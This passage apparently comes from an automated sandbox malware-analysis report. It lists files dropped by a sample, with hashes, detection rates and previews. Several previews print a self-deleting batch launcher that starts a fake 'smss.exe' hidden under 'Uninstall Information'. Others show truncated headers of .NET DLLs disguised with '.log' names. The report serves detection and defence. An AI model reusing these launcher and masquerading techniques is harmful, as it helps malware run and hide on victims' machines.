                                                    SSDEEP:3:mKDDVNGvTVLuVFcROr+jn9mbZjpElfMKL1tNIvBktKcKZG1t+kiE2J5xAIUO6in:hCRLuVFOOr+DE7ENMKhAvKOZG1wkn23Z
                                                    MD5:447598E2A3373B76F0D49B3E3557DF34
                                                    SHA1:45A224A370545BBFB09E8815891363EB485CCC2D
                                                    SHA-256:60DEC232D407C270DC5654454EDDAEF4B37C2A309738B9213549B31E9050D9DA
                                                    SHA-512:AF22E556EB1ED99C2F587A277C0B0AA516EBD4A738300684668BD9469E14869EC10ED73356CE2257B3CC2B0E644D5CE0C053A44BCB29E0FCD09B4D143E06E52C
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    Preview:@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Program Files\Uninstall Information\smss.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\rsWxIDz3Cx.bat"

                                                    C:\Users\user\AppData\Local\Temp\uehLoD66P5

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):25
                                                    Entropy (8bit):4.243856189774723
                                                    Encrypted:false
                                                    SSDEEP:3:ycrUJqWaEueR:PrEvR
                                                    MD5:D3239A48C9D381D928117D10E7FD598B
                                                    SHA1:73C87E76CD73C7FB0215A4156799C48978A2B00D
                                                    SHA-256:02A5352CA0F78324C98B24916BA4C9D1014F46E8640FFCA03E83F92C511493BC
                                                    SHA-512:13A6935746084F3E6F60BF6434C27772E761684776FEA744C514ACC80497FF7D1812D5345EB5C8E517A8DE2812B6366353686F6AAE5C16F4FBE3272E2F33B802
                                                    Malicious:false
                                                    Preview:bU9YyNDR3TlOsqwkTKEyKWhRD

                                                    C:\Users\user\AppData\Local\Temp\z5PBQAYZs7.bat

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):175
                                                    Entropy (8bit):5.131897757327201
                                                    Encrypted:false
                                                    SSDEEP:3:mKDDVNGvTVLuVFcROr+jn9mbZjpElfMKL1tNIvBktKcKZG1t+kiE2J5xAIen0jLq:hCRLuVFOOr+DE7ENMKhAvKOZG1wkn230
                                                    MD5:BA496051F413DBCE1C553B1D9D59920C
                                                    SHA1:2BF30D15D14799E6D4AF7A6E5FF0455EA7640BE0
                                                    SHA-256:96689F7D23CDEE19AB7183459E41956DF50FDD421DB9CCA481D6162BE43666D6
                                                    SHA-512:F0028E5D6EA53ECBE08E1467117CC2673CDF13E2203490E8788E2F0DAC16461378745D043EF9C902A07143CE0C6E9311494C60D0E2AFB362EF8E5F4122A5F060
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    Preview:@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Program Files\Uninstall Information\smss.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\z5PBQAYZs7.bat"

                                                    C:\Users\user\AppData\Local\Temp\z7R9I5jpEi

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:ASCII text, with no line terminators
                                                    Category:dropped
                                                    Size (bytes):25
                                                    Entropy (8bit):4.293660689688185
                                                    Encrypted:false
                                                    SSDEEP:3:aU1IHnWJ0un:aK6n/un
                                                    MD5:A042336B8F36E8550B3F68AD9FE5FA35
                                                    SHA1:7C8854A2F12FE66A822E334DC52D2C07381C7EF8
                                                    SHA-256:EE82F6F34FE89E0C256A7CD92398AC19280BDCCEBB594CC3717C919D34257A66
                                                    SHA-512:2FA35163027210ED72DA9BD801B2E9F86FE7CB4E863FCBA12175F82A03F8D9587FA4887B48ADF56F05CD40070E91BA03E29AA4682BC9F79DA5D5872236DE4096
                                                    Malicious:false
                                                    Preview:5jyWmzxdj3bHpA0ZqTytjBQBK

                                                    C:\Users\user\AppData\Local\Temp\zhbNlpe3Af.bat

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                    Category:dropped
                                                    Size (bytes):175
                                                    Entropy (8bit):5.0577316392015526
                                                    Encrypted:false
                                                    SSDEEP:3:mKDDVNGvTVLuVFcROr+jn9mbZjpElfMKL1tNIvBktKcKZG1t+kiE2J5xAInjkDLq:hCRLuVFOOr+DE7ENMKhAvKOZG1wkn23F
                                                    MD5:F81F8AE028CE3F13092A8B1D9097B1C1
                                                    SHA1:D216F038FFC2999BD9936C5897D74392435079DD
                                                    SHA-256:2BE0DE18701DB8084A43207933CB9B271309E838E77437B7647E319DA0340BCC
                                                    SHA-512:C2572159F609BBB5040C06AE3AC459ED837E2E271252085856E94982EF05B01753AFD7CF2CC3EF0CEC6B8D8613FC29D7F85D6F867BFEB3980F98C7DF333E252F
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    Preview:@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Program Files\Uninstall Information\smss.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\zhbNlpe3Af.bat"

                                                    C:\Users\user\Desktop\22fd601d9041a7

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:ASCII text, with very long lines (443), with no line terminators
                                                    Category:dropped
                                                    Size (bytes):443
                                                    Entropy (8bit):5.844802402826959
                                                    Encrypted:false
                                                    SSDEEP:12:56sN+KpBrlUxr8T6Mfyb7XlDj1jzfOzVSyAha/zLjGYBa:5t+upUxr8TWl/1jzfOzVV/jGCa
                                                    MD5:8CCD7E4D78ACF060A8643F1BF70A98C5
                                                    SHA1:7368A53DEDCAC66F8676E8DDDDB0D844B6009168
                                                    SHA-256:6F2AD21DF3627D59865FA0CD98D5DEF0A6F772CC5B67A89FE7B32C4EF316CD67
                                                    SHA-512:D5D5B9B4E816BF1054D1E377DF3B6CBE0614500897EB502E0FA1AF84CDAB06BABA0738B34F4ABEC317A38198D8DFB17D380C0F87F36B9FB3A8EA2EF18EB67A12
                                                    Malicious:false
                                                    Preview:FYqQmBZPZWsDj2BStKjmxxx0qFTDKbZq5WvdJwOJplm6tjxMzki55onRkzjhrVF86CHNGhJ76Z6ML0HGSGNj2evRtd3TMrcTgoAqckGSbl9fraGtsdPkHfFcR0dmnzuO7mqh0aosA5HReQjSXJltc1MAjhZlGdom0uiFuj3SyhjLXx8BRKPdNBwFap7TADlhRfatrdiyQT44SAnvjYT5NKYz8coFljRv5C42XOTxmbN4G1xaBMultqTHGlvOzdNqBJ9PFvYUFgSw7esGpODYzqCOtxvwdE8JOg372hUQyafMXgJm2ojlay1UGugS9m0BhJibkuNI3wkZKz0MnJ3yfXtaoj1IBBRMjeoO7sBHbarnNbJQ3TozsBgKaIwB3FG1fY0qKmP5IvXEpFNNZkOsWbdh8eyz59NVTzIyldGREtr6obfU5jmT1YeE5Ss

                                                    C:\Users\user\Desktop\AGgFSeej.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):50176
                                                    Entropy (8bit):5.723168999026349
                                                    Encrypted:false
                                                    SSDEEP:768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
                                                    MD5:2E116FC64103D0F0CF47890FD571561E
                                                    SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                    SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                    SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Joe Sandbox View:
                                                    • Filename: vb8DOBZQ4X.exe, Detection: malicious, Browse
                                                    • Filename: 6G8OR42xrB.exe, Detection: malicious, Browse
                                                    • Filename: XNPOazHpXF.exe, Detection: malicious, Browse
                                                    • Filename: 9FwQYJSj4N.exe, Detection: malicious, Browse
                                                    • Filename: DWTukBG9R7.exe, Detection: malicious, Browse
                                                    • Filename: 150bIjWiGH.exe, Detection: malicious, Browse
                                                    • Filename: wmdqEYgW2i.exe, Detection: malicious, Browse
                                                    • Filename: CPNSQusnwC.exe, Detection: malicious, Browse
                                                    • Filename: xoCq1tvPcm.exe, Detection: malicious, Browse
                                                    • Filename: eu6OEBpBCI.exe, Detection: malicious, Browse
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\AkBKmAvu.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):64000
                                                    Entropy (8bit):5.857602289000348
                                                    Encrypted:false
                                                    SSDEEP:768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
                                                    MD5:5EE7E079F998F80293B3467CE6A5B4AE
                                                    SHA1:3C0932D48F3542E9DFB09AD9E1FF70891A038532
                                                    SHA-256:A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
                                                    SHA-512:056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 25%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\BBtuMuwg.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33280
                                                    Entropy (8bit):5.634433516692816
                                                    Encrypted:false
                                                    SSDEEP:384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
                                                    MD5:0D323E1CACEA89CAA5DDEAF2F37BCA69
                                                    SHA1:4769C3E947D02A1FD548BE64013F520D571D96E1
                                                    SHA-256:873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
                                                    SHA-512:73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\BFJtLgnJ.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33280
                                                    Entropy (8bit):5.634433516692816
                                                    Encrypted:false
                                                    SSDEEP:384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
                                                    MD5:0D323E1CACEA89CAA5DDEAF2F37BCA69
                                                    SHA1:4769C3E947D02A1FD548BE64013F520D571D96E1
                                                    SHA-256:873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
                                                    SHA-512:73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\BnCbxKtG.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38912
                                                    Entropy (8bit):5.679286635687991
                                                    Encrypted:false
                                                    SSDEEP:768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
                                                    MD5:9E910782CA3E88B3F87826609A21A54E
                                                    SHA1:8DBC333244620EDA5D3F1C9EAA6B924455262303
                                                    SHA-256:3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
                                                    SHA-512:592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\BvmtbuUM.log

                                                    Download File
                                                    Process:C:\Users\user\Desktop\cbCjTbodwa.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):40448
                                                    Entropy (8bit):5.7028690200758465
                                                    Encrypted:false
                                                    SSDEEP:768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
                                                    MD5:51B1964F31C557AE8C2B01EA164ABD9F
                                                    SHA1:97C6E8FD1F21D644281FAF82D017969FE22423E4
                                                    SHA-256:AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
                                                    SHA-512:5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 12%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\CCpKTrIN.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):126976
                                                    Entropy (8bit):6.057993947082715
                                                    Encrypted:false
                                                    SSDEEP:3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
                                                    MD5:16B480082780CC1D8C23FB05468F64E7
                                                    SHA1:6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
                                                    SHA-256:7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
                                                    SHA-512:A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 21%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

                                                    C:\Users\user\Desktop\CTwchNCP.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):50176
                                                    Entropy (8bit):5.723168999026349
                                                    Encrypted:false
                                                    SSDEEP:768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
                                                    MD5:2E116FC64103D0F0CF47890FD571561E
                                                    SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                    SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                    SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                    • Antivirus: ReversingLabs, Detection: 17%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\CUBmTYHY.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38912
                                                    Entropy (8bit):5.679286635687991
                                                    Encrypted:false
                                                    SSDEEP:768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
                                                    MD5:9E910782CA3E88B3F87826609A21A54E
                                                    SHA1:8DBC333244620EDA5D3F1C9EAA6B924455262303
                                                    SHA-256:3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
                                                    SHA-512:592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\CXuUcpmv.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38912
                                                    Entropy (8bit):5.679286635687991
                                                    Encrypted:false
                                                    SSDEEP:768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
                                                    MD5:9E910782CA3E88B3F87826609A21A54E
                                                    SHA1:8DBC333244620EDA5D3F1C9EAA6B924455262303
                                                    SHA-256:3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
                                                    SHA-512:592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\CpxCxIse.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):38912
                                                    Entropy (8bit):5.679286635687991
                                                    Encrypted:false
                                                    SSDEEP:768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
                                                    MD5:9E910782CA3E88B3F87826609A21A54E
                                                    SHA1:8DBC333244620EDA5D3F1C9EAA6B924455262303
                                                    SHA-256:3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
                                                    SHA-512:592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\CvXLmSbv.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):36352
                                                    Entropy (8bit):5.668291349855899
                                                    Encrypted:false
                                                    SSDEEP:384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
                                                    MD5:94DA5073CCC14DCF4766DF6781485937
                                                    SHA1:57300CA6033974810B71CF1AB4F047A026924A7A
                                                    SHA-256:B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
                                                    SHA-512:7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                    • Antivirus: ReversingLabs, Detection: 21%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\CvhdKpmN.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):85504
                                                    Entropy (8bit):5.8769270258874755
                                                    Encrypted:false
                                                    SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                    MD5:E9CE850DB4350471A62CC24ACB83E859
                                                    SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                    SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                    SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: Avira, Detection: 100%
                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                    • Antivirus: ReversingLabs, Detection: 71%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                    C:\Users\user\Desktop\DOeOnwYe.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33280
                                                    Entropy (8bit):5.634433516692816
                                                    Encrypted:false
                                                    SSDEEP:384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
                                                    MD5:0D323E1CACEA89CAA5DDEAF2F37BCA69
                                                    SHA1:4769C3E947D02A1FD548BE64013F520D571D96E1
                                                    SHA-256:873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
                                                    SHA-512:73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                    C:\Users\user\Desktop\DQYlDNRK.log

                                                    Download File
                                                    Process:C:\Program Files\Uninstall Information\smss.exe
                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                    Category:dropped
                                                    Size (bytes):33280
                                                    Entropy (8bit):5.634433516692816
                                                    Encrypted:false
                                                    SSDEEP:384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
                                                    MD5:0D323E1CACEA89CAA5DDEAF2F37BCA69
                                                    SHA1:4769C3E947D02A1FD548BE64013F520D571D96E1
                                                    SHA-256:873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
                                                    SHA-512:73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
                                                    Malicious:true
                                                    Antivirus:
                                                    • Antivirus: ReversingLabs, Detection: 8%
                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

